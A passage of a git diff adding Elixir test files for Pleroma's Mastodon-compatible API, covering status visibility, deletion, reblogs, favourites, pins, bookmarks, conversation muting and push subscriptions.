unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert json_response_and_validate_schema(res_conn, 200) == [] + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "getting statuses by ids with restricted unauthenticated for local" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + remote_id = remote.id + assert [%{"id" => ^remote_id}] = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "getting statuses by ids with restricted unauthenticated for remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) + + test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + local_id = local.id + assert [%{"id" => ^local_id}] = json_response_and_validate_schema(res_conn, 200) + end + + test "if user is authenticated", %{local: local, remote: remote} do + %{conn: conn} = oauth_access(["read"]) + + res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") + + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "deleting a status" do + test "when you created it" do + %{user: author, conn: conn} = oauth_access(["write:statuses"]) + activity = insert(:note_activity, user: author) + object = Object.normalize(activity) + + content = object.data["content"] + source = object.data["source"] + + result = + conn + |> assign(:user, author) + |> delete("/api/v1/statuses/#{activity.id}") + |> json_response_and_validate_schema(200) + + assert match?(%{"content" => ^content, "text" => ^source}, result) + + refute Activity.get_by_id(activity.id) + end + + test "when it doesn't exist" do + %{user: author, conn: conn} = oauth_access(["write:statuses"]) + activity = insert(:note_activity, user: author) + + conn = + conn + |> assign(:user, author) + |> delete("/api/v1/statuses/#{String.downcase(activity.id)}") + + assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) + end + + test "when you didn't create it" do + %{conn: conn} = oauth_access(["write:statuses"]) + activity = insert(:note_activity) + + conn = delete(conn, "/api/v1/statuses/#{activity.id}") + + assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) + + assert Activity.get_by_id(activity.id) == activity + end + + test "when you're an admin or moderator", %{conn: conn} do + activity1 = insert(:note_activity) + activity2 = insert(:note_activity) + admin = insert(:user, is_admin: true) + moderator = insert(:user, is_moderator: true) + + res_conn = + conn + |> assign(:user, admin) + |> assign(:token, insert(:oauth_token, user: admin, scopes: ["write:statuses"])) + |> delete("/api/v1/statuses/#{activity1.id}") + + assert %{} = json_response_and_validate_schema(res_conn, 200) + + res_conn = + conn + |> assign(:user, moderator) + |> assign(:token, insert(:oauth_token, user: moderator, scopes: ["write:statuses"])) + |> delete("/api/v1/statuses/#{activity2.id}") + + assert %{} = json_response_and_validate_schema(res_conn, 200) + + refute Activity.get_by_id(activity1.id) + refute Activity.get_by_id(activity2.id) + end + end + + describe "reblogging" do + setup do: oauth_access(["write:statuses"]) + + test "reblogs and returns the reblogged status", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/reblog") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, + "reblogged" => true + } = json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 404 if the reblogged status doesn't exist", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{String.downcase(activity.id)}/reblog") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) + end + + test "reblogs privately and returns the reblogged status", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/v1/statuses/#{activity.id}/reblog", + %{"visibility" => "private"} + ) + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, + "reblogged" => true, + "visibility" => "private" + } = json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "reblogged status for another user" do + activity = insert(:note_activity) + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + {:ok, _} = CommonAPI.favorite(user2, activity.id) + {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) + {:ok, reblog_activity1} = CommonAPI.repeat(activity.id, user1) + {:ok, _} = CommonAPI.repeat(activity.id, user2) + + conn_res = + build_conn() + |> assign(:user, user3) + |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) + |> get("/api/v1/statuses/#{reblog_activity1.id}") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, + "reblogged" => false, + "favourited" => false, + "bookmarked" => false + } = json_response_and_validate_schema(conn_res, 200) + + conn_res = + build_conn() + |> assign(:user, user2) + |> assign(:token, insert(:oauth_token, user: user2, scopes: ["read:statuses"])) + |> get("/api/v1/statuses/#{reblog_activity1.id}") + + assert %{ + "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, + "reblogged" => true, + "favourited" => true, + "bookmarked" => true + } = json_response_and_validate_schema(conn_res, 200) + + assert to_string(activity.id) == id + end + end + + describe "unreblogging" do + setup do: oauth_access(["write:statuses"]) + + test "unreblogs and returns the unreblogged status", %{user: user, conn: conn} do + activity = insert(:note_activity) + + {:ok, _} = CommonAPI.repeat(activity.id, user) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/unreblog") + + assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = + json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 404 error when activity does not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/foo/unreblog") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end + + describe "favoriting" do + setup do: oauth_access(["write:favourites"]) + + test "favs a status and returns it", %{conn: conn} do + activity = insert(:note_activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/favourite") + + assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = + json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "favoriting twice will just return 200", %{conn: conn} do + activity = insert(:note_activity) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/favourite") + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/favourite") + |> json_response_and_validate_schema(200) + end + + test "returns 404 error for a wrong id", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/1/favourite") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end + + describe "unfavoriting" do + setup do: oauth_access(["write:favourites"]) + + test "unfavorites a status and returns it", %{user: user, conn: conn} do + activity = insert(:note_activity) + + {:ok, _} = CommonAPI.favorite(user, activity.id) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/unfavourite") + + assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = + json_response_and_validate_schema(conn, 200) + + assert to_string(activity.id) == id + end + + test "returns 404 error for a wrong id", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/1/unfavourite") + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end + + describe "pinned statuses" do + setup do: oauth_access(["write:accounts"]) + + setup %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) + + %{activity: activity} + end + + setup do: clear_config([:instance, :max_pinned_statuses], 1) + + test "pin status", %{conn: conn, user: user, activity: activity} do + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/pin") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^id_str, "pinned" => true}] = + conn + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response_and_validate_schema(200) + end + + test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do + {:ok, dm} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{dm.id}/pin") + + assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not pin"} + end + + test "unpin status", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.pin(activity.id, user) + user = refresh_record(user) + + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "pinned" => false} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unpin") + |> json_response_and_validate_schema(200) + + assert [] = + conn + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response_and_validate_schema(200) + end + + test "/unpin: returns 400 error when activity is not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/1/unpin") + + assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not unpin"} + end + + test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do + {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) + + id_str_one = to_string(activity_one.id) + + assert %{"id" => ^id_str_one, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id_str_one}/pin") + |> json_response_and_validate_schema(200) + + user = refresh_record(user) + + assert %{"error" => "You have already pinned the maximum number of statuses"} = + conn + |> assign(:user, user) + |> post("/api/v1/statuses/#{activity_two.id}/pin") + |> json_response_and_validate_schema(400) + end + + test "on pin removes deletion job, on unpin reschedule deletion" do + %{conn: conn} = oauth_access(["write:accounts", "write:statuses"]) + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) + + assert %{"id" => id} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/pin") + |> json_response_and_validate_schema(200) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => false} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/unpin") + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + end + end + + describe "cards" do + setup do + Config.put([:rich_media, :enabled], true) + + oauth_access(["read:statuses"]) + end + + test "returns rich-media card", %{conn: conn, user: user} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + {:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp"}) + + card_data = %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "provider_name" => "example.com", + "provider_url" => "https://example.com", + "title" => "The Rock", + "type" => "link", + "url" => "https://example.com/ogp", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", + "pleroma" => %{ + "opengraph" => %{ + "image" => "http://ia.media-imdb.com/images/rock.jpg", + "title" => "The Rock", + "type" => "video.movie", + "url" => "https://example.com/ogp", + "description" => + "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." + } + } + } + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response_and_validate_schema(200) + + assert response == card_data + + # works with private posts + {:ok, activity} = + CommonAPI.post(user, %{status: "https://example.com/ogp", visibility: "direct"}) + + response_two = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response_and_validate_schema(200) + + assert response_two == card_data + end + + test "replaces missing description with an empty string", %{conn: conn, user: user} do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + {:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp-missing-data"}) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/card") + |> json_response_and_validate_schema(:ok) + + assert response == %{ + "type" => "link", + "title" => "Pleroma", + "description" => "", + "image" => nil, + "provider_name" => "example.com", + "provider_url" => "https://example.com", + "url" => "https://example.com/ogp-missing-data", + "pleroma" => %{ + "opengraph" => %{ + "title" => "Pleroma", + "type" => "website", + "url" => "https://example.com/ogp-missing-data" + } + } + } + end + end + + test "bookmarks" do + bookmarks_uri = "/api/v1/bookmarks" + + %{conn: conn} = oauth_access(["write:bookmarks", "read:bookmarks"]) + author = insert(:user) + + {:ok, activity1} = CommonAPI.post(author, %{status: "heweoo?"}) + {:ok, activity2} = CommonAPI.post(author, %{status: "heweoo!"}) + + response1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity1.id}/bookmark") + + assert json_response_and_validate_schema(response1, 200)["bookmarked"] == true + + response2 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity2.id}/bookmark") + + assert json_response_and_validate_schema(response2, 200)["bookmarked"] == true + + bookmarks = get(conn, bookmarks_uri) + + assert [ + json_response_and_validate_schema(response2, 200), + json_response_and_validate_schema(response1, 200) + ] == + json_response_and_validate_schema(bookmarks, 200) + + response1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity1.id}/unbookmark") + + assert json_response_and_validate_schema(response1, 200)["bookmarked"] == false + + bookmarks = get(conn, bookmarks_uri) + + assert [json_response_and_validate_schema(response2, 200)] == + json_response_and_validate_schema(bookmarks, 200) + end + + describe "conversation muting" do + setup do: oauth_access(["write:mutes"]) + + setup do + post_user = insert(:user) + {:ok, activity} = CommonAPI.post(post_user, %{status: "HIE"}) + %{activity: activity} + end + + test "mute conversation", %{conn: conn, activity: activity} do + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "muted" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/mute") + |> json_response_and_validate_schema(200) + end + + test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/mute") + + assert json_response_and_validate_schema(conn, 400) == %{ + "error" => "conversation is already muted" + } + end + + test "unmute conversation", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "muted" => false} = + conn + # |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unmute") + |> json_response_and_validate_schema(200) + end + end + + test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + + {:ok, replied_to} = CommonAPI.post(user1, %{status: "cofe"}) + + # Reply to status from another user + conn1 = + conn + |> assign(:user, user2) + |> assign(:token, insert(:oauth_token, user: user2, scopes: ["write:statuses"])) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + + assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn1, 200) + + activity = Activity.get_by_id_with_object(id) + + assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] + assert Activity.get_in_reply_to_activity(activity).id == replied_to.id + + # Reblog from the third user + conn2 = + conn + |> assign(:user, user3) + |> assign(:token, insert(:oauth_token, user: user3, scopes: ["write:statuses"])) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/reblog") + + assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = + json_response_and_validate_schema(conn2, 200) + + assert to_string(activity.id) == id + + # Getting third user status + conn3 = + conn + |> assign(:user, user3) + |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) + |> get("api/v1/timelines/home") + + [reblogged_activity] = json_response(conn3, 200) + + assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id + + replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) + assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id + end + + describe "GET /api/v1/statuses/:id/favourited_by" do + setup do: oauth_access(["read:accounts"]) + + setup %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + + %{activity: activity} + end + + test "returns users who have favorited the status", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + + assert id == other_user.id + end + + test "returns empty array when status has not been favorited yet", %{ + conn: conn, + activity: activity + } do + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have favorited the status but are blocked", %{ + conn: %{assigns: %{user: user}} = conn, + activity: activity + } do + other_user = insert(:user) + {:ok, _user_relationship} = User.block(user, other_user) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not fail on an unauthenticated request", %{activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + build_conn() + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "requires authentication for private posts", %{user: user} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} wanna get some #cofe together?", + visibility: "direct" + }) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + favourited_by_url = "/api/v1/statuses/#{activity.id}/favourited_by" + + build_conn() + |> get(favourited_by_url) + |> json_response_and_validate_schema(404) + + conn = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + + conn + |> assign(:token, nil) + |> get(favourited_by_url) + |> json_response_and_validate_schema(404) + + response = + conn + |> get(favourited_by_url) + |> json_response_and_validate_schema(200) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "returns empty array when :show_reactions is disabled", %{conn: conn, activity: activity} do + clear_config([:instance, :show_reactions], false) + + other_user = insert(:user) + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + end + + describe "GET /api/v1/statuses/:id/reblogged_by" do + setup do: oauth_access(["read:accounts"]) + + setup %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + + %{activity: activity} + end + + test "returns users who have reblogged the status", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + + assert id == other_user.id + end + + test "returns empty array when status has not been reblogged yet", %{ + conn: conn, + activity: activity + } do + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have reblogged the status but are blocked", %{ + conn: %{assigns: %{user: user}} = conn, + activity: activity + } do + other_user = insert(:user) + {:ok, _user_relationship} = User.block(user, other_user) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have reblogged the status privately", %{ + conn: conn + } do + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "my secret post"}) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user, %{visibility: "private"}) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not fail on an unauthenticated request", %{activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + response = + build_conn() + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "requires authentication for private posts", %{user: user} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} wanna get some #cofe together?", + visibility: "direct" + }) + + build_conn() + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(404) + + response = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(200) + + assert [] == response + end + end + + test "context" do + user = insert(:user) + + {:ok, %{id: id1}} = CommonAPI.post(user, %{status: "1"}) + {:ok, %{id: id2}} = CommonAPI.post(user, %{status: "2", in_reply_to_status_id: id1}) + {:ok, %{id: id3}} = CommonAPI.post(user, %{status: "3", in_reply_to_status_id: id2}) + {:ok, %{id: id4}} = CommonAPI.post(user, %{status: "4", in_reply_to_status_id: id3}) + {:ok, %{id: id5}} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) + + response = + build_conn() + |> get("/api/v1/statuses/#{id3}/context") + |> json_response_and_validate_schema(:ok) + + assert %{ + "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}], + "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}] + } = response + end + + test "favorites paginate correctly" do + %{user: user, conn: conn} = oauth_access(["read:favourites"]) + other_user = insert(:user) + {:ok, first_post} = CommonAPI.post(other_user, %{status: "bla"}) + {:ok, second_post} = CommonAPI.post(other_user, %{status: "bla"}) + {:ok, third_post} = CommonAPI.post(other_user, %{status: "bla"}) + + {:ok, _first_favorite} = CommonAPI.favorite(user, third_post.id) + {:ok, _second_favorite} = CommonAPI.favorite(user, first_post.id) + {:ok, third_favorite} = CommonAPI.favorite(user, second_post.id) + + result = + conn + |> get("/api/v1/favourites?limit=1") + + assert [%{"id" => post_id}] = json_response_and_validate_schema(result, 200) + assert post_id == second_post.id + + # Using the header for pagination works correctly + [next, _] = get_resp_header(result, "link") |> hd() |> String.split(", ") + [_, max_id] = Regex.run(~r/max_id=([^&]+)/, next) + + assert max_id == third_favorite.id + + result = + conn + |> get("/api/v1/favourites?max_id=#{max_id}") + + assert [%{"id" => first_post_id}, %{"id" => third_post_id}] = + json_response_and_validate_schema(result, 200) + + assert first_post_id == first_post.id + assert third_post_id == third_post.id + end + + test "returns the favorites of a user" do + %{user: user, conn: conn} = oauth_access(["read:favourites"]) + other_user = insert(:user) + + {:ok, _} = CommonAPI.post(other_user, %{status: "bla"}) + {:ok, activity} = CommonAPI.post(other_user, %{status: "trees are happy"}) + + {:ok, last_like} = CommonAPI.favorite(user, activity.id) + + first_conn = get(conn, "/api/v1/favourites") + + assert [status] = json_response_and_validate_schema(first_conn, 200) + assert status["id"] == to_string(activity.id) + + assert [{"link", _link_header}] = + Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end) + + # Honours query params + {:ok, second_activity} = + CommonAPI.post(other_user, %{ + status: "Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful." + }) + + {:ok, _} = CommonAPI.favorite(user, second_activity.id) + + second_conn = get(conn, "/api/v1/favourites?since_id=#{last_like.id}") + + assert [second_status] = json_response_and_validate_schema(second_conn, 200) + assert second_status["id"] == to_string(second_activity.id) + + third_conn = get(conn, "/api/v1/favourites?limit=0") + + assert [] = json_response_and_validate_schema(third_conn, 200) + end + + test "expires_at is nil for another user" do + %{conn: conn, user: user} = oauth_access(["read:statuses"]) + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", expires_in: 1_000_000}) + + assert %{"pleroma" => %{"expires_at" => a_expires_at}} = + conn + |> get("/api/v1/statuses/#{activity.id}") + |> json_response_and_validate_schema(:ok) + + {:ok, a_expires_at, 0} = DateTime.from_iso8601(a_expires_at) + assert DateTime.diff(expires_at, a_expires_at) == 0 + + %{conn: conn} = oauth_access(["read:statuses"]) + + assert %{"pleroma" => %{"expires_at" => nil}} = + conn + |> get("/api/v1/statuses/#{activity.id}") + |> json_response_and_validate_schema(:ok) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs new file mode 100644 index 000000000..d36bb1ae8 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs @@ -0,0 +1,199 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SubscriptionControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Web.Push + alias Pleroma.Web.Push.Subscription + + @sub %{ + "endpoint" => "https://example.com/example/1234", + "keys" => %{ + "auth" => "8eDyX_uCN0XRhSbY5hs7Hg==", + "p256dh" => + "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" + } + } + @server_key Keyword.get(Push.vapid_config(), :public_key) + + setup do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["push"]) + + conn = + build_conn() + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + + %{conn: conn, user: user, token: token} + end + + defmacro assert_error_when_disable_push(do: yield) do + quote do + vapid_details = Application.get_env(:web_push_encryption, :vapid_details, []) + Application.put_env(:web_push_encryption, :vapid_details, []) + + assert %{"error" => "Web push subscription is disabled on this Pleroma instance"} == + unquote(yield) + + Application.put_env(:web_push_encryption, :vapid_details, vapid_details) + end + end + + describe "creates push subscription" do + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> post("/api/v1/push/subscription", %{subscription: @sub}) + |> json_response_and_validate_schema(403) + end + end + + test "successful creation", %{conn: conn} do + result = + conn + |> post("/api/v1/push/subscription", %{ + "data" => %{ + "alerts" => %{"mention" => true, "test" => true, "pleroma:chat_mention" => true} + }, + "subscription" => @sub + }) + |> json_response_and_validate_schema(200) + + [subscription] = Pleroma.Repo.all(Subscription) + + assert %{ + "alerts" => %{"mention" => true, "pleroma:chat_mention" => true}, + "endpoint" => subscription.endpoint, + "id" => to_string(subscription.id), + "server_key" => @server_key + } == result + end + end + + describe "gets a user subscription" do + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> get("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(403) + end + end + + test "returns error when user hasn't subscription", %{conn: conn} do + res = + conn + |> get("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(404) + + assert %{"error" => "Record not found"} == res + end + + test "returns a user subsciption", %{conn: conn, user: user, token: token} do + subscription = + insert(:push_subscription, + user: user, + token: token, + data: %{"alerts" => %{"mention" => true}} + ) + + res = + conn + |> get("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(200) + + expect = %{ + "alerts" => %{"mention" => true}, + "endpoint" => "https://example.com/example/1234", + "id" => to_string(subscription.id), + "server_key" => @server_key + } + + assert expect == res + end + end + + describe "updates a user subsciption" do + setup %{conn: conn, user: user, token: token} do + subscription = + insert(:push_subscription, + user: user, + token: token, + data: %{"alerts" => %{"mention" => true}} + ) + + %{conn: conn, user: user, token: token, subscription: subscription} + end + + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> put("/api/v1/push/subscription", %{data: %{"alerts" => %{"mention" => false}}}) + |> json_response_and_validate_schema(403) + end + end + + test "returns updated subsciption", %{conn: conn, subscription: subscription} do + res = + conn + |> put("/api/v1/push/subscription", %{ + data: %{"alerts" => %{"mention" => false, "follow" => true}} + }) + |> json_response_and_validate_schema(200) + + expect = %{ + "alerts" => %{"follow" => true, "mention" => false}, + "endpoint" => "https://example.com/example/1234", + "id" => to_string(subscription.id), + "server_key" => @server_key + } + + assert expect == res + end + end + + describe "deletes the user subscription" do + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> delete("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(403) + end + end + + test "returns error when user hasn't subscription", %{conn: conn} do + res = + conn + |> delete("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(404) + + assert %{"error" => "Record not found"} == res + end + + test "returns empty result and delete user subsciption", %{ + conn: conn, + user: user, + token: token + } do + subscription = + insert(:push_subscription, + user: user, + token: token, + data: %{"alerts" => %{"mention" => 